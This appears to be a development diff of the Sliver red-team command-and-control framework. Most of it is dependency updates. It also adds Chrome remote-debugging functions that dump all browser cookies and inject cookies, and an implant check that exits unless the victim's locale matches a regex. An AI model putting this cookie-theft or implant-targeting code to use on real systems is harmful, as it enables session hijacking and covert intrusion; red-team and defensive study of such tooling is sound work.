+	}
+	err := chromedp.Run(extCtx, evalTasks)
 	return result, err
 }

@@ -260,6 +269,68 @@ func QueryExtensionDebugTargets(debugURL string) ([]ChromeDebugTarget, error) {
 	return extensionContexts, nil
 }

+// DumpCookies - Dump all cookies from the remote debug target
+func DumpCookies(curse *core.CursedProcess, webSocketURL string) ([]*network.Cookie, error) {
+	var cookies []*network.Cookie
+	var err error
+	dumpCookieTasks := chromedp.Tasks{
+		// read network values
+		chromedp.ActionFunc(func(ctx context.Context) error {
+			cookies, err = network.GetAllCookies().Do(ctx)
+			if err != nil {
+				return err
+			}
+			// for i, cookie := range cookies {
+			// 	log.Printf("chrome cookie %d: %+v", i, cookie)
+			// }
+			return nil
+		}),
+	}
+	taskCtx, taskCancel, cancel := GetChromeContext(webSocketURL, curse)
+	defer taskCancel()
+	defer cancel()
+	ctx, _ := chromedp.NewContext(taskCtx)
+	if err := chromedp.Run(ctx, dumpCookieTasks); err != nil {
+		return cookies, err
+	}
+	return cookies, nil
+}
+
+func SetCookie(curse *core.CursedProcess, webSocketURL string, host string, cookies ...string) (string, error) {
+	var res string
+	setCookieTasks := chromedp.Tasks{
+		chromedp.ActionFunc(func(ctx context.Context) error {
+			// create cookie expiration
+			expr := cdp.TimeSinceEpoch(time.Now().Add(180 * 24 * time.Hour))
+			// add cookies to chrome
+			for i := 0; i < len(cookies); i += 2 {
+				err := network.SetCookie(cookies[i], cookies[i+1]).
+					WithExpires(&expr).
+					WithDomain("localhost").
+					WithHTTPOnly(true).
+					Do(ctx)
+				if err != nil {
+					return err
+				}
+			}
+			return nil
+		}),
+		// navigate to site
+		// chromedp.Navigate(host),
+		// read the returned values
+		// chromedp.Text(`#result`, &res, chromedp.ByID, chromedp.NodeVisible),
+	}
+	taskCtx, taskCancel, cancel := GetChromeContext(webSocketURL, curse)
+	defer taskCancel()
+	defer cancel()
+	ctx, _ := chromedp.NewContext(taskCtx)
+	if err := chromedp.Run(ctx, setCookieTasks); err != nil {
+		return "", err
+	}
+
+	return res, nil
+}
+
 // Screenshot - Take a screenshot of a Chrome context
 func Screenshot(curse *core.CursedProcess, webSocketURL string, targetID string, quality int64) ([]byte, error) {
 	var result []byte
@@ -14,7 +14,7 @@ GEM
      execjs
    coffee-script-source (1.11.1)
    colorator (1.1.0)
-    commonmarker (0.23.4)
+    commonmarker (0.23.6)
    concurrent-ruby (1.1.9)
    dnsruby (1.61.9)
      simpleidn (~> 0.1)
@@ -31,8 +31,8 @@ require (
 	github.com/mattn/go-sqlite3 v1.14.15
 	github.com/miekg/dns v1.1.50
 	github.com/moloch--/memmod v0.0.0-20211120144554-8b37cc654945
-	github.com/onsi/ginkgo v1.12.1
-	github.com/onsi/gomega v1.10.0
+	github.com/onsi/ginkgo v1.16.5
+	github.com/onsi/gomega v1.20.2
 	github.com/pquerna/otp v1.3.0
 	github.com/shirou/gopsutil/v3 v3.22.8
 	github.com/sirupsen/logrus v1.9.0
@@ -40,17 +40,17 @@ require (
 	github.com/stretchr/testify v1.8.0
 	github.com/things-go/go-socks5 v0.0.3-0.20210722055343-24af464efe43
 	golang.org/x/crypto v0.0.0-20220829220503-c86fa9a7ed90
-	golang.org/x/net v0.0.0-20220225172249-27dd8689420f
+	golang.org/x/net v0.0.0-20220722155237-a158d28d115b
 	golang.org/x/sys v0.0.0-20220825204002-c680a09ffe64
 	golang.org/x/term v0.0.0-20210927222741-03fcf44c2211
 	golang.org/x/text v0.3.7
 	golang.zx2c4.com/wireguard v0.0.0-20220316235147-5aff28b14c24
 	golang.zx2c4.com/wireguard/wgctrl v0.0.0-20220208144051-fde48d68ee68
 	google.golang.org/grpc v1.42.0-dev.0.20211020220737-f00baa6c3c84
-	google.golang.org/protobuf v1.27.1
+	google.golang.org/protobuf v1.28.1
 	gopkg.in/AlecAivazis/survey.v1 v1.8.8
 	gorm.io/driver/mysql v1.3.6
-	gorm.io/driver/postgres v1.3.9
+	gorm.io/driver/postgres v1.3.10
 	gorm.io/driver/sqlite v1.3.6
 	gorm.io/gorm v1.23.9
 	gvisor.dev/gvisor v0.0.0-20211020211948-f76a604701b6
@@ -80,6 +80,7 @@ require (
 	github.com/gobwas/ws v1.1.0 // indirect
 	github.com/golang/protobuf v1.5.2 // indirect
 	github.com/google/btree v1.0.1 // indirect
+	github.com/google/go-cmp v0.5.8 // indirect
 	github.com/hashicorp/errwrap v1.1.0 // indirect
 	github.com/hashicorp/go-multierror v1.1.1 // indirect
 	github.com/inconshreveable/mousetrap v1.0.0 // indirect
@@ -103,7 +104,7 @@ require (
 	github.com/mattn/go-runewidth v0.0.13 // indirect
 	github.com/mgutz/ansi v0.0.0-20170206155736-9520e82c474b // indirect
 	github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e // indirect
-	github.com/nxadm/tail v1.4.4 // indirect
+	github.com/nxadm/tail v1.4.8 // indirect
 	github.com/pmezard/go-difflib v1.0.0 // indirect
 	github.com/power-devops/perfstat v0.0.0-20210106213030-5aafc221ea8c // indirect
 	github.com/remyoudompheng/bigfft v0.0.0-20200410134404-eec4a21b6bb0 // indirect
@@ -119,7 +120,6 @@ require (
 	google.golang.org/genproto v0.0.0-20210722135532-667f2b7c528f // indirect
 	gopkg.in/check.v1 v1.0.0-20200902074654-038fdea0a05b // indirect
 	gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7 // indirect
-	gopkg.in/yaml.v2 v2.4.0 // indirect
 	gopkg.in/yaml.v3 v3.0.1 // indirect
 	lukechampine.com/uint128 v1.1.1 // indirect
 	modernc.org/cc/v3 v3.35.24 // indirect
@@ -319,6 +319,7 @@ github.com/go-openapi/swag v0.19.5/go.mod h1:POnQmlKehdgb5mhVOsnJFsivZCEZ/vjK9gh
 github.com/go-sql-driver/mysql v1.6.0 h1:BCTh4TKNUYmOmMUcQ3IipzF5prigylS7XXjEkfCHuOE=
 github.com/go-sql-driver/mysql v1.6.0/go.mod h1:DCzpHaOWr8IXmIStZouvnhqoel9Qv2LBy8hT2VhHyBg=
 github.com/go-stack/stack v1.8.0/go.mod h1:v0f6uXyyMGvRgIKkXu+yp6POWl0qKG85gN/melR3HDY=
+github.com/go-task/slim-sprig v0.0.0-20210107165309-348f09dbbbc0/go.mod h1:fyg7847qk6SyHyPtNmDHnmrv/HOrqktSC+C9fM+CJOE=
 github.com/gobwas/httphead v0.1.0 h1:exrUm0f4YX0L7EBwZHuCF4GDp8aJfVeBrlLQrs6NqWU=
 github.com/gobwas/httphead v0.1.0/go.mod h1:O/RXo79gxV8G+RqlR/otEwx4Q36zl9rqC5u12GKvMCM=
 github.com/gobwas/pool v0.2.1 h1:xfeeEhW7pwmX8nuLVlqbzVc7udMDrwetjEv+TZIz1og=
@@ -475,7 +476,6 @@ github.com/jackc/pgconn v0.0.0-20190831204454-2fabfa3c18b7/go.mod h1:ZJKsE/KZfsU
 github.com/jackc/pgconn v1.8.0/go.mod h1:1C2Pb36bGIP9QHGBYCjnyhqu7Rv3sGshaQUvmfGIB/o=
 github.com/jackc/pgconn v1.9.0/go.mod h1:YctiPyvzfU11JFxoXokUOOKQXQmDMoJL9vJzHH8/2JY=
 github.com/jackc/pgconn v1.9.1-0.20210724152538-d89c8390a530/go.mod h1:4z2w8XhRbP1hYxkpTuBjTS3ne3J48K83+u0zoyvg2pI=
-github.com/jackc/pgconn v1.12.1/go.mod h1:ZkhRC59Llhrq3oSfrikvwQ5NaxYExr6twkdkMLaKono=
 github.com/jackc/pgconn v1.13.0 h1:3L1XMNV2Zvca/8BYhzcRFS70Lr0WlDg16Di6SFGAbys=
 github.com/jackc/pgconn v1.13.0/go.mod h1:AnowpAqO4CMIIJNZl2VJp+KrkAZciAkhEl0W0JIobpI=
 github.com/jackc/pgio v1.0.0 h1:g12B9UwVnzGhueNavwioyEEpAmqMe1E/BN9ES+8ovkE=
@@ -493,7 +493,6 @@ github.com/jackc/pgproto3/v2 v2.0.0-rc3/go.mod h1:ryONWYqW6dqSg1Lw6vXNMXoBJhpzvW
 github.com/jackc/pgproto3/v2 v2.0.0-rc3.0.20190831210041-4c03ce451f29/go.mod h1:ryONWYqW6dqSg1Lw6vXNMXoBJhpzvWKnT95C46ckYeM=
 github.com/jackc/pgproto3/v2 v2.0.6/go.mod h1:WfJCnwN3HIg9Ish/j3sgWXnAfK8A9Y0bwXYU5xKaEdA=
 github.com/jackc/pgproto3/v2 v2.1.1/go.mod h1:WfJCnwN3HIg9Ish/j3sgWXnAfK8A9Y0bwXYU5xKaEdA=
-github.com/jackc/pgproto3/v2 v2.3.0/go.mod h1:WfJCnwN3HIg9Ish/j3sgWXnAfK8A9Y0bwXYU5xKaEdA=
 github.com/jackc/pgproto3/v2 v2.3.1 h1:nwj7qwf0S+Q7ISFfBndqeLwSwxs+4DPsbRFjECT1Y4Y=
 github.com/jackc/pgproto3/v2 v2.3.1/go.mod h1:WfJCnwN3HIg9Ish/j3sgWXnAfK8A9Y0bwXYU5xKaEdA=
 github.com/jackc/pgservicefile v0.0.0-20200714003250-2b9c44734f2b h1:C8S2+VttkHFdOOCXJe+YGfa4vHYwlt4Zx+IVXQ97jYg=
@@ -502,20 +501,17 @@ github.com/jackc/pgtype v0.0.0-20190421001408-4ed0de4755e0/go.mod h1:hdSHsc1V01C
 github.com/jackc/pgtype v0.0.0-20190824184912-ab885b375b90/go.mod h1:KcahbBH1nCMSo2DXpzsoWOAfFkdEtEJpPbVLq8eE+mc=
 github.com/jackc/pgtype v0.0.0-20190828014616-a8802b16cc59/go.mod h1:MWlu30kVJrUS8lot6TQqcg7mtthZ9T0EoIBFiJcmcyw=
 github.com/jackc/pgtype v1.8.1-0.20210724151600-32e20a603178/go.mod h1:C516IlIV9NKqfsMCXTdChteoXmwgUceqaLfjg2e3NlM=
-github.com/jackc/pgtype v1.11.0/go.mod h1:LUMuVrfsFfdKGLw+AFFVv6KtHOFMwRgDDzBt76IqCA4=
 github.com/jackc/pgtype v1.12.0 h1:Dlq8Qvcch7kiehm8wPGIW0W3KsCCHJnRacKW0UM8n5w=
 github.com/jackc/pgtype v1.12.0/go.mod h1:LUMuVrfsFfdKGLw+AFFVv6KtHOFMwRgDDzBt76IqCA4=
 github.com/jackc/pgx/v4 v4.0.0-20190420224344-cc3461e65d96/go.mod h1:mdxmSJJuR08CZQyj1PVQBHy9XOp5p8/SHH6a0psbY9Y=
 github.com/jackc/pgx/v4 v4.0.0-20190421002000-1b8f0016e912/go.mod h1:no/Y67Jkk/9WuGR0JG/JseM9irFbnEPbuWV2EELPNuM=
 github.com/jackc/pgx/v4 v4.0.0-pre1.0.20190824185557-6972a5742186/go.mod h1:X+GQnOEnf1dqHGpw7JmHqHc1NxDoalibchSk9/RWuDc=
 github.com/jackc/pgx/v4 v4.12.1-0.20210724153913-640aa07df17c/go.mod h1:1QD0+tgSXP7iUjYm9C1NxKhny7lq6ee99u/z+IHFcgs=
-github.com/jackc/pgx/v4 v4.16.1/go.mod h1:SIhx0D5hoADaiXZVyv+3gSm3LCIIINTVO0PficsvWGQ=
 github.com/jackc/pgx/v4 v4.17.2 h1:0Ut0rpeKwvIVbMQ1KbMBU4h6wxehBI535LK6Flheh8E=
 github.com/jackc/pgx/v4 v4.17.2/go.mod h1:lcxIZN44yMIrWI78a5CpucdD14hX0SBDbNRvjDBItsw=
 github.com/jackc/puddle v0.0.0-20190413234325-e4ced69a3a2b/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
 github.com/jackc/puddle v0.0.0-20190608224051-11cab39313c9/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
 github.com/jackc/puddle v1.1.3/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
-github.com/jackc/puddle v1.2.1/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
 github.com/jackc/puddle v1.3.0/go.mod h1:m4B5Dj62Y0fbyuIc15OsIqK0+JU8nkqQjsgx7dvjSWk=
 github.com/jedib0t/go-pretty/v6 v6.3.8 h1:p5eZqLFMEGr7CC+9915lC4Dk7Gub6mH7NE35jDhkJsQ=
 github.com/jedib0t/go-pretty/v6 v6.3.8/go.mod h1:MgmISkTWDSFu0xOqiZ0mKNntMQ2mDgOcwOkwBEkMDJI=
@@ -647,8 +643,9 @@ github.com/nbutton23/zxcvbn-go v0.0.0-20180912185939-ae427f1e4c1d/go.mod h1:o96d
 github.com/ncw/swift v1.0.47/go.mod h1:23YIA4yWVnGwv2dQlN4bB7egfYX6YLn0Yo/S6zZO/ZM=
 github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e h1:fD57ERR4JtEqsWbfPhv4DMiApHyliiK5xCTNVSPiaAs=
 github.com/niemeyer/pretty v0.0.0-20200227124842-a10e7caefd8e/go.mod h1:zD1mROLANZcx1PVRCS0qkT7pwLkGfwJo4zjcN/Tysno=
-github.com/nxadm/tail v1.4.4 h1:DQuhQpB1tVlglWS2hLQ5OV6B5r8aGxSrPc5Qo6uTN78=
 github.com/nxadm/tail v1.4.4/go.mod h1:kenIhsEOeOJmVchQTgglprH7qJGnHDVpk1VPCcaMI8A=
+github.com/nxadm/tail v1.4.8 h1:nPr65rt6Y5JFSKQO7qToXr7pePgD6Gwiw05lkbyAQTE=
+github.com/nxadm/tail v1.4.8/go.mod h1:+ncqLTQzXmGhMZNUePPaPqPvBxHAIsmXswZKocGu+AU=
 github.com/oklog/ulid v1.3.1/go.mod h1:CirwcVhetQ6Lv90oh/F+FBtV6XMibvdAFo93nm5qn4U=
 github.com/olekukonko/tablewriter v0.0.0-20170122224234-a0225b3f23b5/go.mod h1:vsDQFd/mU46D+Z4whnwzcISnGGzXWMclvtLoiIKAKIo=
 github.com/onsi/ginkgo v0.0.0-20151202141238-7f8ab55aaf3b/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE=
@@ -656,14 +653,18 @@ github.com/onsi/ginkgo v0.0.0-20170829012221-11459a886d9c/go.mod h1:lLunBs/Ym6LB
 github.com/onsi/ginkgo v1.6.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE=
 github.com/onsi/ginkgo v1.8.0/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE=
 github.com/onsi/ginkgo v1.10.3/go.mod h1:lLunBs/Ym6LB5Z9jYTR76FiuTmxDTDusOGeTQH+WWjE=
-github.com/onsi/ginkgo v1.12.1 h1:mFwc4LvZ0xpSvDZ3E+k8Yte0hLOMxXUlP+yXtJqkYfQ=
 github.com/onsi/ginkgo v1.12.1/go.mod h1:zj2OWP4+oCPe1qIXoGWkgMRwljMUYCdkwsT2108oapk=
+github.com/onsi/ginkgo v1.16.5 h1:8xi0RTUf59SOSfEtZMvwTvXYMzG4gV23XVHOZiXNtnE=
+github.com/onsi/ginkgo v1.16.5/go.mod h1:+E8gABHa3K6zRBolWtd+ROzc/U5bkGt0FwiG042wbpU=
+github.com/onsi/ginkgo/v2 v2.1.6 h1:Fx2POJZfKRQcM1pH49qSZiYeu319wji004qX+GDovrU=
 github.com/onsi/gomega v0.0.0-20151007035656-2152b45fa28a/go.mod h1:C1qb7wdrVGGVU+Z6iS04AVkA3Q65CEZX59MT0QO5uiA=
 github.com/onsi/gomega v0.0.0-20170829124025-dcabb60a477c/go.mod h1:C1qb7wdrVGGVU+Z6iS04AVkA3Q65CEZX59MT0QO5uiA=
 github.com/onsi/gomega v1.5.0/go.mod h1:ex+gbHU/CVuBBDIJjb2X0qEXbFg53c61hWP/1CpauHY=
 github.com/onsi/gomega v1.7.1/go.mod h1:XdKZgCCFLUoM/7CFJVPcG8C1xQ1AJ0vpAezJrB7JYyY=
-github.com/onsi/gomega v1.10.0 h1:Gwkk+PTu/nfOwNMtUB/mRUv0X7ewW5dO4AERT1ThVKo=
 github.com/onsi/gomega v1.10.0/go.mod h1:Ho0h+IUsWyvy1OpqCwxlQ/21gkhVunqlU8fDGcoTdcA=
+github.com/onsi/gomega v1.10.1/go.mod h1:iN09h71vgCQne3DLsj+A5owkum+a2tYe+TOCB1ybHNo=
+github.com/onsi/gomega v1.20.2 h1:8uQq0zMgLEfa0vRrrBgaJF2gyW9Da9BmfGV+OyUzfkY=
+github.com/onsi/gomega v1.20.2/go.mod h1:iYAIXgPSaDHak0LCMA+AWBpIKBr8WZicMxnE8luStNc=
 github.com/opencontainers/go-digest v0.0.0-20180430190053-c9281466c8b2/go.mod h1:cMLVZDEM3+U2I4VmLI6N8jQYUd2OVphdqWwCJHrFt2s=
 github.com/opencontainers/go-digest v1.0.0-rc1/go.mod h1:cMLVZDEM3+U2I4VmLI6N8jQYUd2OVphdqWwCJHrFt2s=
 github.com/opencontainers/go-digest v1.0.0-rc1.0.20180430190053-c9281466c8b2/go.mod h1:cMLVZDEM3+U2I4VmLI6N8jQYUd2OVphdqWwCJHrFt2s=
@@ -867,7 +868,6 @@ golang.org/x/crypto v0.0.0-20201203163018-be400aefbc4c/go.mod h1:jdWPYTVW3xRLrWP
 golang.org/x/crypto v0.0.0-20210220033148-5ea612d1eb83/go.mod h1:jdWPYTVW3xRLrWPugEBEK3UY2ZEsg3UU495nc5E+M+I=
 golang.org/x/crypto v0.0.0-20210616213533-5ff15b29337e/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
 golang.org/x/crypto v0.0.0-20210711020723-a769d52b0f97/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
-golang.org/x/crypto v0.0.0-20210921155107-089bfa567519/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
 golang.org/x/crypto v0.0.0-20211108221036-ceb1ce70b4fa/go.mod h1:GvvjBRRGRdwPK5ydBHafDWAxML/pGHZbMvKqRZ5+Abc=
 golang.org/x/crypto v0.0.0-20220208050332-20e1d8d225ab/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
 golang.org/x/crypto v0.0.0-20220722155217-630584e8d5aa/go.mod h1:IxCIyHEi3zRg3s0A5j5BB6A9Jmi73HwBIUl50j+osU4=
@@ -944,6 +944,7 @@ golang.org/x/net v0.0.0-20200324143707-d3edc9973b7e/go.mod h1:qpuaurCH72eLCgpAm/
 golang.org/x/net v0.0.0-20200501053045-e0ff5e5a1de5/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A=
 golang.org/x/net v0.0.0-20200506145744-7e3656a0809f/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A=
 golang.org/x/net v0.0.0-20200513185701-a91f0712d120/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A=
+golang.org/x/net v0.0.0-20200520004742-59133d7f0dd7/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A=
 golang.org/x/net v0.0.0-20200520182314-0ba52f642ac2/go.mod h1:qpuaurCH72eLCgpAm/N6yyVIVM9cpaDIP3A8BGJEC5A=
 golang.org/x/net v0.0.0-20200625001655-4c5254603344/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA=
 golang.org/x/net v0.0.0-20200707034311-ab3426394381/go.mod h1:/O7V0waA8r7cgGh81Ro3o1hOxt32SMVPicZroKQ2sZA=
@@ -961,8 +962,8 @@ golang.org/x/net v0.0.0-20210928044308-7d9f5e0b762b/go.mod h1:9nx3DQGgdP8bBQD5qx
 golang.org/x/net v0.0.0-20211111083644-e5c967477495/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
 golang.org/x/net v0.0.0-20211112202133-69e39bad7dc2/go.mod h1:9nx3DQGgdP8bBQD5qxJ1jj9UTztislL4KSBs9R2vV5Y=
 golang.org/x/net v0.0.0-20220127200216-cd36cc0744dd/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk=
-golang.org/x/net v0.0.0-20220225172249-27dd8689420f h1:oA4XRj0qtSt8Yo1Zms0CUlsT3KG69V2UGQWPBxujDmc=
-golang.org/x/net v0.0.0-20220225172249-27dd8689420f/go.mod h1:CfG3xpIq0wQ8r1q4Su4UZFWDARRcnwPjda9FqA0JpMk=
+golang.org/x/net v0.0.0-20220722155237-a158d28d115b h1:PxfKdU9lEEDYjdIzOtC4qFWgkU2rGHdKlKowJSMN9h0=
+golang.org/x/net v0.0.0-20220722155237-a158d28d115b/go.mod h1:XRhObCWvk6IyKnWLug+ECip1KBveYUHfp+8e9klMJ9c=
 golang.org/x/oauth2 v0.0.0-20180821212333-d2e6202438be/go.mod h1:N/0e6XlmueqKjAGxoOufVs8QHGRruUQn6yWY3a++T0U=
 golang.org/x/oauth2 v0.0.0-20190226205417-e64efc72b421/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=
 golang.org/x/oauth2 v0.0.0-20190604053449-0f29369cfe45/go.mod h1:gOpvHmFTYa4IltrdGE7lF6nIHvwfUNPOp7c8zoXwtLw=
@@ -1058,6 +1059,7 @@ golang.org/x/sys v0.0.0-20201204225414-ed752295db88/go.mod h1:h1NjWce9XRLGQEsW7w
 golang.org/x/sys v0.0.0-20201207223542-d4d67f95c62d/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
 golang.org/x/sys v0.0.0-20201214210602-f9fddec55a1e/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
 golang.org/x/sys v0.0.0-20210104204734-6f8348627aad/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
+golang.org/x/sys v0.0.0-20210112080510-489259a85091/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
 golang.org/x/sys v0.0.0-20210119212857-b64e53b001e4/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
 golang.org/x/sys v0.0.0-20210124154548-22da62e12c0c/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
 golang.org/x/sys v0.0.0-20210217105451-b926d437f341/go.mod h1:h1NjWce9XRLGQEsW7wpKNCjG9DtNlClVuFLEZdDNbEs=
@@ -1162,6 +1164,7 @@ golang.org/x/tools v0.0.0-20201110124207-079ba7bd75cd/go.mod h1:emZCQorbCU4vsT4f
 golang.org/x/tools v0.0.0-20201124115921-2c860bdd6e78/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA=
 golang.org/x/tools v0.0.0-20201201161351-ac6f37ff4c2a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA=
 golang.org/x/tools v0.0.0-20201208233053-a543418bbed2/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA=
+golang.org/x/tools v0.0.0-20201224043029-2b0845dc783e/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA=
 golang.org/x/tools v0.0.0-20210105154028-b0ab187a4818/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA=
 golang.org/x/tools v0.0.0-20210106214847-113979e3529a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA=
 golang.org/x/tools v0.1.0/go.mod h1:xkSsbof2nBLbhDlRMhhhyNLN/zl3eTqcnHD5viDpcZ0=
@@ -1295,8 +1298,9 @@ google.golang.org/protobuf v1.24.0/go.mod h1:r/3tXBNzIEhYS9I1OUVjXDlt8tc493IdKGj
 google.golang.org/protobuf v1.25.0/go.mod h1:9JNX74DMeImyA3h4bdi1ymwjUzf21/xIlbajtzgsN7c=
 google.golang.org/protobuf v1.26.0-rc.1/go.mod h1:jlhhOSvTdKEhbULTjvd4ARK9grFBp09yW+WbY/TyQbw=
 google.golang.org/protobuf v1.26.0/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc=
-google.golang.org/protobuf v1.27.1 h1:SnqbnDw1V7RiZcXPx5MEeqPv2s79L9i7BJUlG/+RurQ=
 google.golang.org/protobuf v1.27.1/go.mod h1:9q0QmTI4eRPtz6boOQmLYwt+qCgq0jsYwAQnmE0givc=
+google.golang.org/protobuf v1.28.1 h1:d0NfwRgPtno5B1Wa6L2DAG+KivqkdutMf1UhdNx175w=
+google.golang.org/protobuf v1.28.1/go.mod h1:HV8QOd/L58Z+nl8r43ehVNZIU/HEI6OcFqwMG9pJV4I=
 gopkg.in/AlecAivazis/survey.v1 v1.8.5/go.mod h1:iBNOmqKz/NUbZx3bA+4hAGLRC7fSK7tgtVDT4tB22XA=
 gopkg.in/AlecAivazis/survey.v1 v1.8.8 h1:5UtTowJZTz1j7NxVzDGKTz6Lm9IWm8DDF6b7a2wq9VY=
 gopkg.in/AlecAivazis/survey.v1 v1.8.8/go.mod h1:CaHjv79TCgAvXMSFJSVgonHXYWxnhzI3eoHtnX5UgUo=
@@ -1326,15 +1330,15 @@ gopkg.in/yaml.v2 v2.2.3/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
 gopkg.in/yaml.v2 v2.2.4/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
 gopkg.in/yaml.v2 v2.2.5/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
 gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
-gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY=
+gopkg.in/yaml.v2 v2.3.0/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI=
 gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ=
 gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
 gopkg.in/yaml.v3 v3.0.1 h1:fxVm/GzAzEWqLHuvctI91KS9hhNmmWOoWu0XTYJS7CA=
 gopkg.in/yaml.v3 v3.0.1/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM=
 gorm.io/driver/mysql v1.3.6 h1:BhX1Y/RyALb+T9bZ3t07wLnPZBukt+IRkMn8UZSNbGM=
 gorm.io/driver/mysql v1.3.6/go.mod h1:sSIebwZAVPiT+27jK9HIwvsqOGKx3YMPmrA3mBJR10c=
-gorm.io/driver/postgres v1.3.9 h1:lWGiVt5CijhQAg0PWB7Od1RNcBw/jS4d2cAScBcSDXg=
-gorm.io/driver/postgres v1.3.9/go.mod h1:qw/FeqjxmYqW5dBcYNBsnhQULIApQdk7YuuDPktVi1U=
+gorm.io/driver/postgres v1.3.10 h1:Fsd+pQpFMGlGxxVMUPJhNo8gG8B1lKtk8QQ4/VZZAJw=
+gorm.io/driver/postgres v1.3.10/go.mod h1:whNfh5WhhHs96honoLjBAMwJGYEuA3m1hvgUbNXhPCw=
 gorm.io/driver/sqlite v1.3.6 h1:Fi8xNYCUplOqWiPa3/GuCeowRNBRGTf62DEmhMDHeQQ=
 gorm.io/driver/sqlite v1.3.6/go.mod h1:Sg1/pvnKtbQ7jLXxfZa+jSHvoX8hoZA8cn4xllOMTgE=
 gorm.io/gorm v1.23.4/go.mod h1:l2lP/RyAtc1ynaTjFksBde/O8v9oOGIApu2/xRitmZk=
@@ -30,7 +30,10 @@ import (

 	// {{if .Config.LimitUsername}}
 	"os/user"
+	// {{end}}

+	// {{if .Config.LimitLocale}}
+	"regexp"
 	// {{end}}

 	// {{if .Config.LimitDatetime}}
@@ -40,6 +43,10 @@ import (
 	// {{if or .Config.LimitHostname .Config.LimitUsername}}
 	"strings"
 	// {{else}}{{end}}
+
+	// {{if .Config.LimitLocale}}
+	"github.com/bishopfox/sliver/implant/sliver/locale"
+	// {{end}}
 )

 // ExecLimits - Checks for execution limitations (domain, hostname, etc)
@@ -104,6 +111,21 @@ func ExecLimits() {
 	}
 	// {{end}}

+	// {{if .Config.LimitLocale}}
+	locale := locale.GetLocale()
+	match, err := regexp.MatchString(`{{.Config.LimitLocale}}`, locale)
+	if !match {
+		// {{if .Config.Debug}}
+		if err != nil {
+			log.Printf("LimitLocale regexp: %s", err)
+		} else {
+			log.Printf("LimitLocale regexp %#v does not match %#v", `{{.Config.LimitLocale}}`, locale)
+		}
+		// {{end}}
+		os.Exit(1)
+	} 
+	// {{end}}
+
 	// {{if .Config.Debug}}
 	log.Printf("Limit checks completed")
 	// {{end}}
@@ -165,7 +165,9 @@ func (p *ChannelProxy) HandleConn(src net.Conn) {
 		log.Printf("[portfwd] Closing tunnel %d (%s)", tunnel.ID, reason)
 		// {{end}}
 		tunnel := p.Conn.Tunnel(tunnel.ID)
-		p.Conn.RemoveTunnel(tunnel.ID)
+		if tunnel != nil {
+			p.Conn.RemoveTunnel(tunnel.ID)
+		}
 		src.Close()
 		cancelContext()
 	}
